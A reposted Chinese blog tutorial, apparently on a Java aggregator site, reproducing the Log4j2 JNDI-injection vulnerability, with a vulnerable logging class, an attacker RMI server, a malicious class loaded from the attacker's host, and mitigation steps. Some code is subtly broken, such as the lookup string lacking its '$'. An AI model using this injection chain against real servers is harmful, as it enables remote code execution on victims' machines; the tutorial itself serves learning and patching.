IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> Log4j 2.14.0以下产生的高危漏洞记录与复现 -> 正文阅读

[Java知识库]Log4j 2.14.0以下产生的高危漏洞记录与复现

漏洞描述

? Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

前景知识

RMI – (Remote Method Invocation,远程方法调用)

是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。

Java RMI 则支持存储于不同地址空间的程序级对象之间彼此进行通信,实现远程对象之间的无缝远程调用。

Java RMI(Remote Method Invocation)–Java的远程方法调用是Java所特有的分布式计算技术,它允许运行在一个Java虚拟机上的对象调用运行在另一个Java虚拟机上的对象的方法,从而使Java编程人员可以方便地在网络环境中作分布式计算。

Bug复现

Log4j2Test.java

假设这个类是企业的代码,首先我们写一个Log4j测试类-- Log4j2Test

public class Log4j2Test {
    private static final Logger LOGGER = LogManager.getLogger();
    
    public static void main(String... args) {
        // 假设这里是项目某一个接口上的参数字符串
        String username = "{jndi:rmi://192.168.59.29:1099/evil}"
    	/** 通常的情况下,我们对Logger的用法是这样:
    		String username = "123";
    		LOGGER.info("hello,{}", username);
    		这样的情况下,console就会输出:hello,123
    		
    		还有一种用法,是Log4j的一个look up功能,用于可以输出操作系统、Java虚拟机、jdk等信息
    		String username = "${java:os}"; // 查询操作系统的信息
    		String vm = "${java:vm}"; // 查询jvm的信息,如下图[1]
    		LOGGER.info("hello,{}", vm); 
     	*/
        LOGGER.info("hello,{}", username);
    }
}

[1] 查询jvm的信息:
在这里插入图片描述

RMIServer.java

这个类是黑客写的,创建自己的一个RMI服务作为一个类似于注册中心的角色

public class RMIServer {
	public static void main(string[ ] args){
    	try {
        	LocateRegistry.createRegistry(1099);
            Registry registry = locateRegistry.getRegistry();
            
            // 注册服务
            System.out.println("Create RMI registry on port 1099");
			Reference reference = new Reference("com.rmi.EvilObj", "com.rmi.EvilObj", );
        	ReferenceWrapper re = new ReferenceWrapper(reference);
            registry.bind("evil", re);
        } catch(Exception e) {
            ....
        }
    }
}

EvilObj.java

这个类是黑客写的,注册的服务

public class EvilObj {
    static {
        System.out.println("在哪执行的");
    }
}

步骤

1、启动RMIServer.java注册中心

在这里插入图片描述

2、假设Log4j2Test是一个controller通过接口接收到的参数username="{jndi:rmi://192.168.59.29:1099/evil}"

这里的IP和端口号都是黑客的IP和端口,访问evil服务

3、只要使用了LOGGER.info(“hello,{}”, username);这段代码,就会启动黑客的evil服务,随后执行evil服务的代码

这里抛出一个疑问,evil代码会在哪里执行,是会在黑客的RMIServer执行,还是在Log4j2Test执行

4、现在启动Log4j2Test.java,发现 “在哪执行的” 字符串在Log4j2Test执行的

在这里插入图片描述

解决方案

? 1、更新版本,现今已经有解决问题的版本了: 只要>= 2.15.0版本基本都可以避免这个问题

2、如果还来不及更新依赖版本的,可以改一下配置:

-Dlog4j2.formatMsgNoLookups=true
可以使用此 JVM 标志来缓解该问题,它只是告诉log4j 在格式化时不要进行任何查找消息。

总结

黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。

经典jndi注入,非常危险~,想一想我们在EvilObj.java静态方法区中写更多的代码,比如说jdbc的删库、调用操作系统的指令占满CPU都是非常致命的

之前看过的一个视频,把手机SIM卡名字改成“无SIM卡”,然后就真的没网了。

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-03-10 22:17:51  更:2022-03-10 22:19:24 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 11:49:57-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码